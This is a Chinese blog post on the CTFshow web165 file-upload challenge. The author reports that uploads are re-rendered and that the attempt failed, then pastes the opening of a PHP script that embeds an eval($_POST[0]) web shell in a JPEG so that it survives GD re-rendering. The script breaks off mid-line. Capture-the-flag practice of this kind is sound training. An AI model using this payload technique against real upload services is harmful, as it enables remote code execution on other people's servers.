CTFshow 文件上传 web165

最新推荐文章于 2024-12-31 12:35:13 发布

Kradress

最新推荐文章于 2024-12-31 12:35:13 发布

阅读量734

点赞数

CC 4.0 BY-SA版权

分类专栏： CTFshow 文章标签： php 开发语言后端

本文链接：https://blog.youkuaiyun.com/Kracxi/article/details/122972048

这篇博客探讨了CTFshow中web165挑战的文件上传问题。作者注意到上传的jpg图片会经历二次渲染，但在尝试利用群中提供的jpg文件时未成功，最终选择了放弃。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

思路

上传jpg图片,返回包可以看出经过了二次渲染

试了很多次,群里的jpg哪来也没成功,放弃了

<?php
    $miniPayload = '<?php echo 123;eval($_POST[0]);?>';


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
   
   
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
   
   
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
   
   
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
   
   
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
   
   
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($ma